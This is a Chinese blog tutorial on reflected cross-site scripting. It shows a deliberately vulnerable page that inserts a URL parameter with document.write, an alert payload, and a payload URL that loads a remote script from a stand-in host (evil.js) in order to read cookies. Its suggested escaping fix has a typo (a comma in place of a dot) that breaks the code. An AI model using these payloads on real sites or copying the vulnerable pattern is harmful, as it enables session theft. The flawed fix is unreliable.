js跨站脚本

xss

跨站脚本,称为xss这个术语用来表示一类的安全问题,指攻击者向目标web站点注入html标签或者脚本。

来一个小栗子

 substring 返回介于两者之间的字符串,如果省去最后一个参数,则直接以length为填充

window.location.search 返回/后面内容包括问号

返回?后面的参数 window.location.search.substring(1)

decodeURIComponent() 将url进行解码,返回解码后的utf-8格式

<!doctype html>
<html>
<head>
	<title>这是标题</title>
	<meta charset="utf-8">
</head>
<body>
	<script>
		var name = decodeURIComponent(window.location.search.substring(1));	// 获取参数
		console.log(name);
		document.write("hello " + name);
	</script>
</body>
</html>

访问

http://abc.com:8887/?%20word

本地使用web server for chrome 完成了本地静态服务器的搭建,使用host文件,强制修改home.abc.com 以及 abc.com 到 127.0.0.1 完成域名的绑定,因为js脚本不能本地运行,因为有跨域的限制

页面输出

 hello word 

这是一个灰常正经的页面。

下面如果尝试输入

http://abc.com:8887/?%3Cscript%3Ealert("David")%3C/script

事实上现在的浏览器很智能了。。已经自动解析了。已经自动暂停解析了,最后加上%3e被浏览器拦截,自动的,去掉以后,由于容错机制,自动生成

好吧,要不是这容错机制,xss还没法实验呢。无奈,现在太智能了,小白的手法,已经不行喽

<script>
</script>

导致能允许。好吧,去掉自动拦截,chrome直接禁止访问了。╮(╯▽╰)╭

https://developer.mozilla.org/zh-CN/docs/Web/HTML/Optimizing_your_pages_for_speculative_parsing

使用的是预解析,自动平衡树

此时script变身成为

document.write('hello ' + <script>alert("David")</script)

好啦,接着,就会出现一个弹窗,David

因为使用这个url自动生成一个另外一个脚本,由于浏览器自动的安全措施,所以使用浏览器页面预解析,写一个不平衡的树,初始浏览器解析的时候自动添加上

<script>
</script>

事实上,现在基本上都会屏蔽掉的,和sql注入一样,都是非常小白的攻击手法。╮(╯▽╰)╭

导致出现弹窗,xss完成

接着下面还有

使用src引入一个脚本。

http://abc.com:8887/?%3Cscript%20src=%E2%80%9Chttps://1.com/evil.js%E2%80%9D%3E%3C/script%3E

这样就完成了一次脚本的注入。会将其他站点的脚本,通过连接进行注入。

可以对该站点的内容做任何的操作,以及读取cookie,以及将数据发送回站点

事实上浏览器插件就是这样干的,在页面中加入js脚本,通过更改页面的js来达到对页面修改的目的

更多内容 https://www.ibm.com/developerworks/cn/security/se-prevent-cross-site-scripting-attacks/index.html

预防

通过使用replace()全部替换为实体即可。

name = name.replace(/</g, "&lt;"),replace(/>/g, "&gt;");

总结

xss和sql注入一样,属于小白攻击法,要说简单也很简单,要说难也很难

拒绝服务攻击

如果一个站点无限弹窗,浏览器会卡死。包括使用js挖矿什么的,都不值得一提了。

原创声明,本文系作者授权云+社区发表,未经许可,不得转载。

如有侵权,请联系 yunjia_community@tencent.com 删除。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏陈仁松博客

UWP基础教程 - App多语言支持

UWP实现本地化非常简单,所谓本地化表现最为直观的就是UI上文字和布局方式了,针对文字,提供不同的语言资源文件即可,而针对布局方式,比如在 阿拉伯地区 阅读顺序...

3646
来自专栏建站达人秀

如何搭建 Express 网站

Express 是一种保持最低程度规模的灵活 Node.js Web 应用程序框架,为 Web 和移动应用程序提供一组强大的功能。nenggou 使用您提议的各...

4962
来自专栏Golang语言社区

golang使用protobuf

为什么要使用protobuf 最近的项目中,一直使用Json做数据传输。Json用起来的确很方便。但相对于protobuf数据量更大些。做一个移动端应用,为用户...

7995
来自专栏智能大石头

魔方NewLife.Cube升级v2.0

 魔方是一套集成权限管理的MVC管理后台,最具特色功能是模版覆盖机制,是XCode实体类的最佳搭档! v2.0.2017.1126   借助Ajax支持高级操作...

2229
来自专栏FreeBuf

EKFiddle:基于Fiddler研究恶意流量的框架

EKFiddle是一个基于Fiddler web debugger的,用于研究漏洞利用套件、恶意软件和恶意流量的框架。

1200
来自专栏Jerry的SAP技术分享

如何将BSP应用配置成Fiori Launchpad上的一个tile

当我们通过WebIDE或者Eclipse的插件Team Provider把一个本地开发好的UI5应用部署到了ABAP Netweaver服务器上之后,我们可以将...

2337
来自专栏xiaoheike

创建一个maven web project

几经周折总算是找到了和高杨学长一样的web  project的方法。感谢学长的一语点醒。我之前以为,既是maven又是web project的项目得要是通过dy...

1583
来自专栏应兆康的专栏

Vim教程

Vim文本编辑器使用 先上官方的图吧,然后解释    (来自: www.viemu.com)附上中文版 ? ? Vim分为3种模式:  命令模式(Command...

3228
来自专栏无所事事者爱嘲笑

ionic2 处理android硬件返回按钮

1364
来自专栏我和PYTHON有个约会

Django来敲门~第一部分【8.网页中的css/js/image处理】

通常情况下,网页开发时,页面中的样式是通过外部css样式进行处理的,外部的css文件加载在Django中,需要进行简单的处理

802

扫码关注云+社区

领取腾讯云代金券